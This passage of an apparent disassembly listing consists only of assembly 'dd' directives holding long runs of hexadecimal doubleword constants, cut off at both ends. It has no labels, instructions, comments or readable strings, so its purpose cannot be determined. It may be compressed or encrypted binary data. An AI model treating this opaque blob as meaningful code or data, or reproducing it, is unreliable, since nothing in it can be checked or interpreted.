8E0E6E29h, 7B502800h, 0E9EB731Ch, 73A06A4h, 4923E067h dd 2CA66600h, 0E19A361Dh, 606507CDh, 7C275A5Bh, 76054320h dd 7C19558Ch, 9F38E890h, 0B917004Fh, 0AF7E1DFAh, 920FCCDAh dd 0A0516957h, 325515F4h, 0E75E154Bh, 0B6018425h, 0E26865C9h dd 15C2D448h, 0D410EC00h, 0B1C0BC78h, 3D100F0h, 4C53025Bh dd 0B97AAD7Ah, 0B3256101h, 0B17D294Eh, 267298E4h, 22CCB30h dd 8791FD54h, 3D142840h, 9A51C51Ch, 9BA363C0h, 22CDC1h dd 0FD6BF04Dh, 826241B4h, 0BAD9901Eh, 3FF7B947h, 0F660E8A0h dd 3E300EDDh, 3D4A1A18h, 1E833EA0h, 0C6EDBEADh, 0A280CBE0h dd 0E5DE3E0Eh, 0BB6780B9h, 0A40E9Ch, 83EF4044h, 72AB5A78h dd 8E19600h, 9F6A6D14h, 220E1413h, 873CBDFBh, 0E8D3A4h dd 48A181A5h, 5901CC44h, 0D767B37Eh, 29C0AE42h, 0EACCA05Ch dd 0B5F8004Bh, 0A10F5A75h, 98C3141Fh, 0FAEB630Dh, 2426C193h dd 2EC555CCh, 3F6EAC15h, 1FE55201h, 38357157h, 0D9E70450h dd 94807BF3h, 678F98h, 524032E4h, 0C297BA89h, 75074870h dd 98576A66h, 0AF87DFF1h, 374A60h, 0B32EACFEh, 4DB47030h dd 6141AD00h, 33AE1A59h, 10E8A0h, 8C1FC6Bh, 0AA6212F9h dd 70781503h, 0C07245EBh, 0DFC48DEh, 77215F3Ah, 3F68F021h dd 0AF00C77Ah, 7346484Fh, 885C0766h, 0FE00B69Dh, 6974AE3Ah dd 7CF4E0F6h dd 7AEAA9h, 0C5392FE8h, 5261DD56h, 0E757A800h, 74FD3DAFh dd 17DF070Ch, 13906268h, 0C5A80321h, 33099EBDh, 410C5C58h dd 20D0B6CCh, 543038CAh, 4E09D8BFh, 28A050D1h, 0C3ABD52Bh dd 5684A504h, 0A803E96Ch, 90A9C651h, 0F2B0C302h, 0E2002CB2h dd 17FD184Ah, 98F3FCDh, 8595B3D9h, 2DA6B461h, 52777DE4h dd 0D0F649h, 5A0F7AFAh, 3E6FE0h, 0FE141379h, 4BFBDE97h dd 0C556D20Fh, 0EEACE0BCh, 0E6AEB04h, 6ED9F00Bh, 0F94063A0h dd 160E838Dh, 66AD5630h, 3709148h, 0C7A2EB6Bh, 59B864ACh dd 7D142620h, 1EAC5DFFh, 8D5F86C8h, 47CB625Ch, 0D9704107h dd 5D2492F4h, 35041C61h, 0F0FD9C7Ah, 1B7C9E78h, 576EC00Ch dd 3F12D8F4h, 2F0023A9h, 0ABF96111h, 0B500267Bh, 52AAF73Eh dd 42EC59Ch, 7E65D2DEh, 5DC780FEh, 0A62CA73Dh, 4200FC10h dd 2A8A80B2h, 73E373EEh, 0BE6501F3h, 94A025ACh, 0E71BD890h dd 8E1A763Ch, 0E69878AEh, 0B061AAh, 162F7223h, 41551BC2h dd 0AB803E0Eh, 0E01529DDh, 0E58A74h, 7F334571h, 0C06A5B75h dd 1167C200h, 871E18A5h, 0DA632661h, 2879072Dh, 0F5AD90B5h dd 0CF0066D3h, 0C80EC48Eh, 0E32609h, 14472962h, 6BDC96D5h dd 0AA38A18h, 0FBFB6988h, 0CB00E02Ch, 0AD88154Eh, 9A1579DEh dd 0A01D81h, 56E7FF8Bh, 3EE6F6AFh, 5A80E010h, 0C8425F20h dd 8830F717h, 0E21B3CE3h, 7EED022Ch, 0F45EF94Dh, 93485C60h dd 4A69B200h, 52749679h, 9C734Ch, 2BF007D6h, 0CE80FF0Ch dd 0E36DF412h, 400A09h, 268902EDh, 0CFFC07F2h, 504955D2h dd 3DFA7938h, 0B7905807h, 414E636Dh, 0DFACC1D5h, 127F61E0h dd 1DD8455Ah, 44007A9Bh, 94283B4Ah, 3200D09Ch, 0BBBC7350h dd 352C99h, 518B446Dh, 0CC17FFEAh, 0B2D84C05h, 64C003D9h dd 0F30A0B6h, 9C2F614h, 2AEFC0C0h, 0B400893Ch, 9AAFB1A6h dd 98963688h, 0D7AA07E8h, 0E0DC8C23h, 95E89D68h, 9C15C470h dd 4905FF5h, 0FB2A6B1Fh, 8BAB5383h, 0FCC0BD54h, 0FC95123Eh dd 0F63F0275h, 0E577FA39h, 2FD76460h, 96005AE8h, 146D6BE7h dd 93B7AFFh, 189C505Fh, 47B4ACA0h, 0E800C1ACh, 4FEE3565h dd 16B38A3h, 83685015h, 0F8EF9039h, 0AB03560Fh, 0DDFA371Fh dd 0BEB80046h, 4CB52D3Ah, 0F575C697h, 274A3B00h, 1CFC4D03h dd 6819014Eh, 0C5D36092h, 0AB9DC4B2h, 1B898A01h, 0F5E97D1h dd 0F8F2C4h, 31544382h, 0FBE20678h, 0B6EB7700h, 86E6FFCDh dd 15140046h, 0ACB5CE69h, 880031D7h, 840FBD21h, 22FAC5h dd 5FEC7A9Dh, 3A62F694h, 875E0E00h, 57555A27h, 3D8C00DCh dd 5F23C607h, 2000A740h, 80AF7B79h, 288E3EE8h, 0F0C89B67h dd 380F4009h, 4F3C910Eh, 1F27C058h, 1C7A99Bh, 64E95A15h dd 74E3D42Dh, 7D730124h, 0C1CDE250h, 0D7A18400h, 8B73D367h dd 40F1EA0h, 9A7C057h, 7D6960C8h, 5509658h, 10329DDh, 0C941CC00h dd 90F631BDh, 6071019Ch, 0F9C28B1h, 2DE0DE2Bh, 0EE00D07Fh dd 55E5F302h, 49C699h, 2F889169h, 2764681Ah, 0CCC46F28h dd 2ADBF600h, 5763FE46h, 0F2670014h, 9C0FD60Eh, 70078D6Bh dd 4366872Bh, 749EB671h, 7D414FF0h, 654B8AAh, 94CC3B25h dd 0F978A87Ah, 5F11301Dh, 0A0C0EDDDh, 6C4209AAh, 0EEBA0FE8h dd 0A960FF90h, 1998BF56h, 0CBA8E9A3h, 0C9145DD2h, 0F80116h dd 0F7710352h, 4D28A860h, 6313C084h, 1BA8427Ah, 38C8B1D7h dd 60E812Ah, 0E051A980h, 0B316C23h, 37DD3F69h, 950AC4C9h dd 95C6FE1h, 56009F6Bh, 0EA0EF4A8h, 5CE1FFA0h, 3A096800h dd 0CD3D1D50h, 4C8BFEE3h, 4E049478h, 8018E98Dh, 2DC9CE76h dd 0B4E8EC54h, 4DA09001h, 0DD40FA3Fh, 13016463h, 0FE792674h dd 34BC9D7Ah, 7FCE1D4h, 0C8A6B3C4h, 5C2F609Fh, 17C2A7F2h dd 0C30513h, 47E38D97h, 0BE00CDD3h, 5AFDFBB2h, 31C46h dd 0CF2DEA8Bh, 43EF9A0Dh, 10C2890Ch, 153851h, 4D9D343Bh dd 7F63A81h, 1404A759h, 79CA803h, 370D2A11h, 0E0D380F3h dd 1E45C2h, 1FA987F3h, 0B9D64438h, 0FBBEEC00h, 0F88691Bh dd 0B568582Dh, 0F5629700h, 76B8E8F6h, 9F43601Ch, 0E0E1E403h dd 80E5C2DDh, 56BBA9DCh, 0F495005Fh, 8D55C512h, 6000FB4Fh dd 8CE2E50Ch, 78246B6Fh, 640200C1h, 4C71E3Fh, 5B00E665h dd 41BE9D27h, 1EA28D69h, 58636Fh, 0EB786E72h, 103DE209h dd 0C0888F62h, 0EA03A3A2h, 530BC821h, 8CC658A1h, 69293200h dd 0E9180713h, 0FB1B8A0Bh, 85EA0076h, 7CF1D10h, 1CE8580Ah dd 7A95E187h, 0C48CC493h, 3055ED00h, 0D6A4492Bh, 7B9D0101h dd 63E16FADh, 70B3EC53h, 0F7904B0h, 0DBB10D00h, 41435CD1h dd 0C8540051h, 48E45ED9h, 99E83E36h, 6713B87Bh, 0E80087E3h dd 1289F066h, 4E4F0042h, 601B919Eh, 0D6EC1449h, 7041858h dd 617C9CB2h, 1644CFB0h, 0EDF7FBBh, 7F5C1C68h, 0B507A280h dd 2B1D22DAh, 8F9F2AA9h, 85D5BE00h, 786133Ch, 81A2CE71h dd 6B82915Fh, 34562188h, 8A0E8EB0h, 0AB7F0E61h, 21A4E644h dd 6E04C41Eh, 20822B03h, 1C01C05Fh, 0E86D2CE0h, 4A6688E4h dd 0F4CD2180h, 2ED26783h, 8B31E9h, 47092C71h, 6E19B8EAh dd 3878F232h, 0C307386Ch, 0D0250ECDh, 0F9A55AA9h, 3560B601h dd 0E8012773h, 3080C721h, 0DB14746Ch, 0DC90F7EDh, 1C2F5C02h dd 414EC30Ah, 48202974h, 9A2F401h, 0C6701522h, 0D95B6CE8h dd 1FC364Ch, 46C9F47Ah, 0E4F4CE1Dh, 9F9100C0h, 9A8ADCF5h dd 9503E2A5h, 0BC3A102h, 4FB0FFD0h, 0AD620Eh, 1F985715h dd 219B588Fh, 0EFA96600h, 0C4553EB8h, 4BD2010Fh, 0FC3127F3h dd 598C50E9h, 997EC089h, 1F6A0B1Dh, 0A7D6B8C0h, 0DE9810h dd 66373FAFh, 23AEB5B7h, 6CD02100h, 0F0E9A9A2h, 9DE80704h dd 0A99B987Fh, 0B8768C01h, 0ACC0F084h, 90F5AE00h, 5946F273h dd 0A04C019Eh, 7028B0DCh, 0E1DAEC38h, 0F4CF2C13h, 27C584C8h dd 0B081E358h, 0C487096Dh, 4E75859Ch, 793E7016h, 0BFDF2103h dd 0EA448824h, 0B5EC3ECAh, 0BEF8A280h, 168E9ADCh, 47BF7D04h dd 17C05180h, 802A6h, 25052127h, 1ACF5A18h, 3FD4EE00h dd 0AD916781h, 8C77C5h, 7B8DE69Ah, 6044E706h, 6D00B474h dd 0E27DFEF5h, 3B436E64h, 5E3862B6h, 0FAC81780h, 53198BC4h dd 6302337Bh, 0A4F9990Eh, 0F2B0F05Bh, 8B1B0032h, 0ECEBBBC6h dd 0F2254C14h, 87144203h, 0A60032ABh, 0B16E2Ch, 3BE7D51Fh dd 0A59BB478h, 3C6A3Ch, 0FFB7C443h, 39CD694h, 0E9CA4170h dd 0E0907577h, 7D00A7E2h, 0A010FEA2h, 8790D9h, 0E684DCB0h dd 0BCDF5A2Bh, 4ECA6C00h, 642A8313h, 0E089841h, 434B22DDh dd 0B2F30692h, 0D8E6B15Bh, 0E6E30C8h, 3F80267Bh, 0D274E8E9h dd 0F8D33800h, 0E1D5F794h, 5EE5052Ah, 2BCEE13h, 3BD37820h dd 4CE87CC3h, 0FA12161Dh, 98C3FD45h, 0F9A7998Ch, 70F4002Eh dd 71A9E20Bh, 0BD116360h, 0DD28DCh, 4B2A9288h, 6DBA148Ah dd 967621C1h, 0DDD030BBh, 0CB35013h, 4040F7F0h, 34B02DBh dd 98CCFD35h, 0D1E89054h, 0A100C9E8h, 0C7D7182Ah, 0FA0AA899h dd 5D660048h, 0B5312CE0h, 77012497h, 0A06BB789h, 0E160FD33h dd 44FF0023h, 0EAFB57CDh, 0CC01BA15h, 244871D5h, 33D430BFh dd 767700F8h, 53AAB839h, 0B0000A11h, 27F26626h, 7E51Ch dd 0FCAC5C15h, 7CFD4C40h, 374E6C00h, 0D774F097h, 0ABC9C06Ah dd 0FAF8D22Fh, 667D9401h, 6E8AA896h, 1560F8h, 936D74BCh dd 34B1EF41h dd 0F0E44851h, 770088CBh, 0F0D402E8h, 0C0CD97h, 0DC78374Dh dd 1AA97DF1h, 0A4153F0Eh, 340580B8h, 51C3EFh, 986A9266h dd 6EAA27B5h, 6D4BA0A8h, 81D6250Fh, 78003C1Bh, 9C902F08h dd 11280045h, 0A235C21Ch, 30DFE4F7h, 0F2A03F40h, 27CB4A59h dd 72416214h, 6EFCC78h, 8DCC0205h, 0D0E0F836h, 677990h dd 8314FD2Ch, 610ACB66h, 5E36B518h, 546522B0h, 0F08B886Ch dd 0F9410CF5h, 0A7A19471h, 0D8E5EC04h, 2488D75Eh, 4C0C007Bh dd 3DAEDB9Bh, 0BC0317B3h, 2645150Dh, 2A885048h, 62690285h dd 31067A20h, 87C53080h, 91414597h, 0F6FCD8h, 29CE016Ch dd 122B33B9h, 1DEFFF4Ch, 0D30BA305h, 5EA201E4h, 81804DBEh dd 0A0BD658Fh, 0E3006859h, 0D4C361CCh, 13BB5B43h, 0F21429h dd 517E564Fh, 4200F463h, 80237D2Ah, 0C162CC48h, 18B4318h dd 89DA702Dh, 84548FF8h, 0F442A50Ch, 0DD888821h, 0B68849ABh dd 3E75080Ch, 8316046h, 0D7F139E3h, 0EA160202h, 1D560081h dd 0A0C044D8h, 0C63549Ch, 18C90D34h, 0C8204FFCh, 9506FA5Ah dd 0A98F46DDh, 3CD10C69h, 0FE391048h, 0D97B6203h, 0C153B9C7h dd 29E07A9Dh, 15B3E96h, 0CEEA1306h, 0B3065050h, 57D01506h dd 1807F081h, 21CFE314h, 4000D2FBh, 189DD0A8h, 30F87E0Fh dd 8DC90D33h, 0D240CFD9h, 0AC4B5409h, 9C4A0046h, 4F2647D3h dd 0B27F7A85h, 0D6631E00h, 0B045ABF1h, 0C19E0F2Bh, 5882C668h dd 33C0818Dh, 0E2EAA815h, 0E0524400h, 592EB5C9h, 6AB60F48h dd 46614302h, 0BC88E59Dh, 72E45238h, 16D14918h, 1CD7F88h dd 0AF115D31h, 806D380Fh, 0D933219h, 0F84858CAh, 128020D8h dd 0B3447B06h, 7511427h, 99239871h, 7A8A4169h, 0D08BC182h dd 20C1416Dh, 0B723D154h, 0F359EC60h, 8CC8A094h, 1DAD570Ch dd 3E00DB10h, 79C17AFBh, 0F0AFCAh, 662AF952h, 8BBF12EDh dd 0EE3FCF00h, 3B63E01Eh, 0CC6E007Ah, 0AB754591h, 0F0FF548Ah dd 8D1D49CAh, 5007300Eh, 11C052C5h, 7A56E3Ah, 0AD68E0E6h dd 487743FDh, 7C292007h, 0F3100B10h, 7D889386h, 6B63125Ah dd 28B400C4h, 0E944FB3Fh, 0DC6D51C3h, 3190B34h, 0EB008CE2h dd 42A87C63h, 49CCC50Ah, 91404020h, 0D16E3D10h, 34304078h dd 10997221h, 705D4300h, 0D3C05EB8h, 0BB07065Bh, 49289AA9h dd 9574A200h, 61D929F9h, 0E7F10009h, 0E0E8C273h, 3600A172h dd 5B56C071h, 14381E1h, 0AECF366h, 803F294Fh, 26493268h dd 67218506h, 0E0B0114Eh, 0A27BA3F0h, 0C96D5607h, 4C461811h dd 988E0021h, 25A4ECEFh, 0F8002F31h, 0C2E3F371h, 0F38B9A0h dd 0DACA1DE7h, 7099C380h, 0E82E6CFEh, 4B1C0BB3h, 8E6979F0h dd 0C07401A1h, 0C833F215h, 3C34C0DDh, 16AC21C0h, 5B443A1h dd 5758746Ch, 19E44848h, 3E1090C0h, 0A485566Eh, 1D751040h dd 43071098h, 389CD49Fh, 0FF24C3A0h, 6278B01h, 2DDEBCDCh dd 0C687DC40h, 0A61D584Ah, 77E463Eh, 5EC6BE8h, 1635B0CCh dd 0CA00FBB3h, 14A0AE6Ch, 33C9A88h, 0E3375651h, 57D7872Bh dd 0A59550E1h, 917CC1F0h, 2700DE76h, 0F54BF6ADh, 7665697h dd 9BE2DF22h, 63B66047h, 0B900D0ECh, 0D5741789h, 745753BBh dd 0E3F54C1Fh, 0A9D36700h, 523B5125h, 9B09D100h, 0D61740D4h dd 3D200076h, 0E291B39Eh, 7B0051C4h, 0D244314Bh, 988AECh dd 5F863793h, 7FD679BFh, 0AA030905h, 4AC040C1h, 1C560575h dd 839FC9E5h, 85BE3767h, 80A0389Bh, 540006E1h, 4A7FCEACh dd 60C69Dh, 8177D55Fh, 966BDFC1h, 0B349EF09h, 81698955h dd 0A8C6BE01h, 414004EFh, 0C739FCD8h, 8D52D34Ch, 8301AFBh dd 0D432214Bh, 33A0039h, 54BBF83Ch, 7200F02Dh, 400F4E3Bh dd 6074A682h, 1F609041h, 6B01FCB2h, 0DDADD1Eh, 88D1124Ch dd 0F6B62180h, 0E08FBBFDh, 85CA140Ch, 980D089h, 5EEC9BB9h dd 99E1508Fh, 0A88E9059h, 3FFA0880h, 17DC40C0h, 7ED719h dd 0C013720Ah, 0CF85BB0Ch, 0B110E630h, 0C0ED3B4Dh, 2907A031h dd 2E063C42h, 6616273Dh, 0E8210071h, 540FB585h, 7CEE74FAh dd 0AC4508CAh, 858C2880h, 1FFA85Dh, 2DBABD2Ch, 48AFAA50h dd 0A4A0688Ch, 3F00A725h, 18A3981Ch, 1AAC6Ch, 38E4CB01h dd 0BC5A7497h, 0C97EFF34h, 0D3D4C00h, 7F78A6h, 0BB5489FBh dd 6C720BADh, 66ECC7F2h, 43608100h, 0B20C6E80h, 66D3B35h dd 974F460Eh, 0B418C41h, 0BE5987DFh, 0D6F27FEBh, 6DAB4049h dd 90E0515h, 878EA161h, 3EB983A3h, 0BFA9B907h, 0BA43326Bh dd 917CE9h, 476C1A9Ah, 0C51E45B3h, 31410A30h, 15E7C918h dd 0C8BFF598h, 58556500h, 22623C91h, 0D15C200h, 4E86BDE0h dd 286C06B5h, 38E3F79Eh, 371D7902h, 486BC34Dh, 0CBE7D40h dd 0C2F0418Dh, 2000E651h, 24E76681h, 53D0FF8h, 57D21028h dd 42AFC046h, 38302058h, 97531BBh, 26F20EE3h, 8E41C82Ch dd 60D0BFB6h, 20EAA779h, 5A4D8CA0h, 83E1F16Fh, 0A9D3C89Eh dd 0D9BEFAFDh, 59BCD50Eh, 7E0854h, 0C82EC9C1h, 169A09CFh dd 21B91000h, 0E67FF32Ch, 1F35004Bh, 0EB7CF5C0h, 0AFF8FD3Eh dd 51949B00h, 0D24DBD54h, 0D6F802E6h, 6C154262h, 79779560h dd 0CD389800h, 0C6637DDAh, 0E1180016h, 7B5EFE3h, 750CA870h dd 89D7CE5Ah, 7A0D00C3h, 0CA7E3CA6h, 0E562534Bh, 0A06085C9h dd 0D5671CD8h, 4C8F013Eh, 5BAF3D79h, 0A4CAF0B9h, 4B00BAE2h dd 6E8C1E5Eh, 3B9FB033h, 0CD008D6Ch, 569BC084h, 0AD758FA5h dd 0B3993E0Fh, 24A24090h, 0E856179h, 83E21FA1h, 0DD21B09Dh dd 820EA281h, 87701527h, 74A3EB98h, 8D288010h, 0EB5739Ah dd 6175ACA6h, 383DF366h, 0C802D700h, 816B2637h, 278E0B0Dh dd 26866873h, 0E6003829h, 0BE70A479h, 4106D598h, 7F60E032h dd 0D3C40C00h, 0BD9CC193h, 4208CC24h, 9500A621h, 0B0D30A0Ch dd 6C2D215Bh, 70B1502Ch, 5E10DD0Ch, 394C9047h, 20607D2Bh dd 0A9B9F327h, 0BA07767Ch, 0DC0C152Ah, 9FE737C0h, 99400270h dd 98B2FEB5h, 4B102h, 0B54D7D3h, 42763000h, 1AFDA06Ch dd 38390064h, 9686DCFAh, 0B200F9BDh, 0DAFB4C50h, 37C4DD2Dh dd 907ECC11h, 20F44C8h, 8729F200h, 0AE450D63h, 18690041h dd 78A48CD7h, 0FD0760A2h, 0DF19554Dh, 5AF943F0h, 0FA260025h dd 0E7C66707h, 1E3BCF5Eh, 0CB4700E8h, 8CEAB0FCh, 4D756Ch dd 71205928h, 0A8D616FFh, 0E47D5E00h, 77F4630Ch, 0E03A00E1h dd 7A117FB6h, 0BE00F1A3h, 297A229h, 0A78444D4h, 4139D604h dd 0C423E58h, 18D87891h, 0C18900ECh, 81B8686Bh, 717A7A15h dd 0E4DB161Dh, 13CE9187h, 0B4247CF0h, 5529C4C2h, 6756001Eh dd 0BFAEE9h, 4844A3EAh, 0E4B1110Bh, 0CD907B00h, 0A1C70E0Ch dd 95AA0040h, 0EE98CAA6h, 0E1001C7Ah, 499AB520h, 90FBEBBFh dd 7BCD0339h, 0F8DE3105h, 0B1718EC8h, 3000BD73h, 399650C9h dd 0CDA429h, 383319A3h, 3283C49Ch, 7EE17400h, 2D6ED3B2h dd 0FFBD00C0h, 0B889DC7Ch, 0D4006CD9h, 20E7D03Ah, 763F5Dh dd 0B68A70F2h, 0ACFF9DDFh, 0D30E8E0Eh, 0E9C960C3h, 69AFCD51h dd 66F614F7h, 70B2E000h, 0C7BF28h, 6AE7A1B3h, 956921CCh dd 0ED331F0Fh, 0AFAC0E0Fh, 814DCA20h, 6BF94200h, 0ADBA23h dd 50952653h, 0C8AAE509h, 0B6EEA601h, 0B00885A2h, 0FC9C1080h dd 8B2A2934h, 80F5DC3Ah, 68482233h, 72B1F7F6h, 0E43200BCh dd 0D502DA5Ah, 2B0027BFh, 8EFA6DBh, 0EEB64C4Eh, 730B00F5h dd 0F6ECC3B2h, 0E4003942h dd 4738B17Eh, 373CA86Ah, 9070A0A7h, 21D5C255h, 0E7B16200h dd 0DC977CF8h, 0DB630098h, 81D11156h, 0AF3F4F31h, 0E99101F3h dd 3C71A5Bh, 992420h, 342088ABh, 17F97173h, 1995E4Ch, 418FE0C3h dd 0C4F59BF5h, 71DB2D4h, 0BB7605B9h, 809F76F4h, 0CD8EE10Eh dd 10A12CA2h, 202D0F16h, 2F008070h, 0AA598C86h, 84F6B900h dd 0E05481E9h, 20EF0051h, 64CD6992h, 0CB009A82h, 5F138897h dd 48B3A1E7h, 0B0316841h, 0C8AE32D0h, 5703674Eh, 1506C429h dd 544A881Bh, 92C13061h, 0DF259478h, 670048FEh, 0BD822ABEh dd 3B76702Fh, 60801698h, 0F7FBB0F2h, 9E003F46h, 835409FDh dd 856DB9h, 1C6B5614h, 31F441C3h, 0D493980Eh, 5F54608Ah dd 7882E8B2h, 0ADB300F3h, 0A61FE5C0h, 0D100194Eh, 0CD7554Bh dd 3AC87990h, 0F886D4A8h, 101EE561h, 0EA78390Fh, 62E207F5h dd 0AB38D2F1h, 0C3E420h, 0F756C232h, 66CAB510h, 0CA1573Ch dd 80976C83h, 0A8893F5Ch, 3DD71180h, 0EEBE0139h, 2E9FB400h dd 19A47EE5h, 0ECBC01A1h, 0D7461B84h, 0F90EFA8h, 0F40F3175h dd 0DD353225h, 0A188FC69h, 83604F04h, 0F63422A5h, 37ED8905h dd 0E0C0668Fh, 1E138Ch, 5E04E29Eh, 9FF03BA6h, 3548D0B8h dd 0A3AD0789h, 30F7EDF4h, 1918D176h, 309441FEh, 0CCCE30EBh dd 97CD0800h, 0AEAAA42Ch, 279D00E8h, 0FADDFF6h, 0C57C5690h dd 789187FDh, 0A2202182h, 0F1CFC493h, 72AFED0h, 0C1676959h dd 0F8C9605Bh, 8600A405h, 320C6531h, 9C4F738h, 4C3BB9EBh dd 0C1356080h, 0CE0E282Eh, 2606556Bh, 7E3391h, 0A9F3E198h dd 37FC3C30h, 8776C27Ah, 0C1408949h, 0F6CCA84h, 167230h dd 2BE13DEDh, 4E04534Dh, 0C3BB2300h, 0CD48514h, 0B9931EF2h dd 0CB758032h, 9D6B512Fh, 0F508C0AFh, 41630002h, 882C0930h dd 8A489F7Ah, 61D90000h, 0E514540Eh, 0E4A30059h, 5E2EBDA8h dd 0D424C9DAh, 488084E7h, 17CD8ADCh, 2BC30059h, 0EDC0CB83h dd 0F8780F9Ch, 0ACA2A829h, 0A43F3422h, 0D80EAA37h, 397B110Ch dd 1AA7889h, 77AB0C91h, 9E920582h, 0F3009420h, 0D7DB52EDh dd 3EE73B58h, 8D040849h, 906E8850h, 25037954h, 0CD09B815h dd 5BC300A4h, 4CD1509Ch, 0F84F0017h, 7D460880h, 5D0A18B3h dd 500283ABh, 8601E428h, 0DA0CA7CCh, 88F01CF0h, 6DFF0506h dd 80ED36D6h, 2230BDDh, 2BDBEA00h, 0C18B356Bh, 9EFE0C48h dd 0FB887CA0h, 1A16AF07h, 0A5D2870Dh, 3AE84545h, 0E108B299h dd 1940DAFCh, 7609D884h, 91D79CFDh, 432C1A0h, 733B8781h dd 6410879Ah, 46C0AE37h, 0B1AE9AAh, 0BCA7098Ch, 543FD020h dd 2300A0A4h, 71E63CC5h, 6AA03F0h, 82C23614h, 0F3008198h dd 0D3118B76h, 9A08627h, 44ECA38Dh, 0A4134816h, 0F8406A7Ch dd 0CA858359h, 79F0A9D0h, 213C4E10h, 0DC283301h, 3D1548B0h dd 80EDE0h, 0AAC5AD4h, 0BFFB0F08h, 8F4AC215h, 80D23F44h dd 0E0B3B0C0h, 7F94B77h, 1463F491h, 2B042055h, 130008DDh dd 79E92A93h, 0C22F10h, 0E21281ECh, 1AF9E70h, 935A9F18h dd 989CA750h, 0D109A76h, 3ADED556h, 1AB3C048h, 3345B200h dd 9A405CB6h, 32200EB4h, 0DBA0356Eh, 0E05FF391h, 8124FEAh dd 0D202737Ch, 0E3A0F22Ch, 9FCFB030h, 8CB907FBh, 0C3595758h dd 9E80DD84h, 0C00009BBh, 3CDE28F3h, 66A15Fh, 8040D9F2h dd 0F73324E9h, 81278307h, 4F00D17Eh, 755ECD28h, 0D3FF048Bh dd 80B941B1h, 0A2EB2E7h, 8E631400h, 0F6E390D7h, 6C09004Eh dd 0D08C5BF8h, 0F114BF1Eh, 38B0ECB9h, 0EE32004Ch, 0F0139F52h dd 0BB4305CBh, 2026650h, 0EB38E18Ch, 17A1A00h, 762F078Ch dd 12A8A04Fh, 23CA8727h, 71CD1060h, 90B6D640h, 0AEEC24h dd 0A824B04Eh, 7C458E7Ah, 57C85603h, 0D8396055h, 23AA09h dd 7658F548h, 2B052417h, 5756DC00h, 0F82236BEh, 3D5400C8h dd 0ADFC166Bh, 0B9005981h, 0C26F8719h, 1E539E7h, 0ED4B4456h dd 20E83615h, 64008D6Bh, 0F829DA4Dh, 28469F7h, 0ECCF207Ah dd 48E06BEAh, 65008BE5h, 1D8998DFh, 2713D1h, 369B3C97h dd 222D666h, 0D1E0092Eh, 0F972FB01h, 6020467Ah, 86000ABh dd 8CF8108Fh, 3A034504h, 41D02280h, 0FEE7F863h, 7D903E88h dd 0F8D9FA03h, 0DCB85035h, 0C1006DEBh, 38A47824h, 3BC3DFBh dd 0A040D52Bh, 34C76F16h, 0C894A1D0h, 0E00004E7h, 0F9971DB8h dd 0DAEB3Fh, 0FE74C5E9h, 356D8AACh, 58008C90h, 0E75A77D2h dd 0C932F09h, 0E2E068C8h, 0C2053B49h, 0B330BF41h, 6727D491h dd 48810832h, 304D07E1h, 18C59FD3h, 0A8C0F863h, 7288E611h dd 0D6523AEDh, 0E5AB3984h, 2D80C80Fh, 0CE9A0100h, 30186B1Dh dd 0F45F4D19h, 0CC05CF1Ch, 8C50991Bh, 2FD23E00h, 3FF6D315h dd 5CF30068h, 1275AE46h, 0A94C5DD9h, 4092C848h, 413CF333h dd 0A0398BBh, 0DBC93020h, 17EE98B1h, 32DF01Bh, 0CD52D93Fh dd 28019E33h, 0EA6CF469h, 98700C70h, 0D144059Fh, 27DB58DAh dd 17E7A0B4h, 70993BE1h, 0ED805F49h, 57DEB5E8h, 0BCE2D700h dd 0CF4250ABh, 5F912AC3h, 558F063Ch, 4133D586h, 0A000E571h dd 0B52105C2h, 0AF89FCh, 0B834C875h, 0E184393Ch, 0F2BBC0A8h dd 2AEE5600h, 370CCFA4h, 3D2D000Bh, 4E3B214Ah, 0C8B27D98h dd 80D6E03Ch, 11A54941h, 0E235AF05h, 3FD50036h, 543DA8DEh dd 0CB19CFD6h, 1890B81h, 0A05B9943h, 7F5914F2h, 0F88463E1h dd 5800BDD4h, 0D7959F3Eh, 25B8EFFh, 8CD80644h, 8A60DBEFh dd 0B84C66F7h, 8DED0114h, 1DFC62C2h, 4C193320h, 5C1DBD11h dd 736A824Ah, 0D4C039EAh, 373C013Ah, 7F3104EFh, 90A3CA57h dd 2C449811h, 45C054C4h, 3467204h, 5E881C50h, 74E1B822h dd 0C4E43058h, 58D8DA59h, 0DDB93C60h, 1A390204h, 0C4849FC6h dd 6FA1023Ch, 20ADB4EEh, 772FFC80h, 5C619B67h, 8BCB0469h dd 92C890D8h, 0B7590054h, 4C6E79AEh, 0C9526376h, 0C4A42618h dd 2EE0583Eh, 643024C8h, 1F5FFE4Bh, 4CD05619h, 4668B55Dh dd 4954F700h, 28C17AF1h, 400100F8h, 657542F6h, 0D900C672h dd 0EC1BC97Dh, 7A358B33h, 54747D8Ch, 17BCD849h, 16B9BDF3h dd 9E490096h, 0AE335195h, 0FC8C4009h, 246C070Eh, 0D8CBE2E3h dd 5B94A1h, 0AFCFEC76h, 315F3DFAh, 8248B400h, 36EFC22Ch dd 74290A39h, 0E43398h, 5492028Bh, 12004917h, 0A05C9DDBh dd 7871AF1Bh, 73E42A97h, 7B862C8Ch, 0AE0B8D84h, 2424FDA1h dd 9D4DC3E8h, 5EED1628h, 0AA9EF01Dh, 23BE0880h, 839CDBh dd 0A63F8BA5h, 5C99C911h, 3E10E700h, 697574E1h, 0D1E20048h dd 0B6F2E2Ch, 40083F0h, 0B1FDA9D0h, 87963Fh, 730DEFE2h dd 68B2A219h, 0D1ECA509h, 9020034Dh, 0C2BEB03Ch, 0A9340101h dd 59A03E29h, 9D25602Eh, 0DAF6AB16h, 52C60C1h, 81C3E543h dd 9140BC96h, 0B35417h, 63094FA3h, 12ADCF01h, 0DE2FD504h dd 18C09667h, 0EE49D6h, 6AC15111h, 9AFF1478h, 0C02584A0h dd 0D101420Fh, 65B1206Dh, 13D4352h, 0F9D5A1C2h, 0E0F07F1Ah dd 952C4801h, 0DA00C749h, 1C2FE03Ch, 0AFF71E70h, 18C900ADh dd 15FED859h, 503E8B77h, 92061D0Eh, 3A1C8500h, 3B66DA62h dd 1B3B51A7h, 8656B500h, 1A8F265h, 9693CD00h, 0A6E8900Bh dd 71947AC8h, 9ED9141Fh, 0DC00D4ACh, 0BE1A75F0h, 2FF85069h dd 0ACDF6F24h, 6E495F01h, 0AB700C28h, 0D6030076h, 7DFB4F30h dd 0A71D7383h, 26803CAAh, 0E0D0293Eh, 12A0A0B0h, 610E3C34h dd 994A2700h dd 7F7185E8h, 8AC0BB60h, 6225Bh, 0D3659221h, 0A783E78Bh dd 3E01AFECh, 3D50958Fh, 0A4417CA6h, 0CFC0BF6Dh, 693100AEh dd 52DD322Dh, 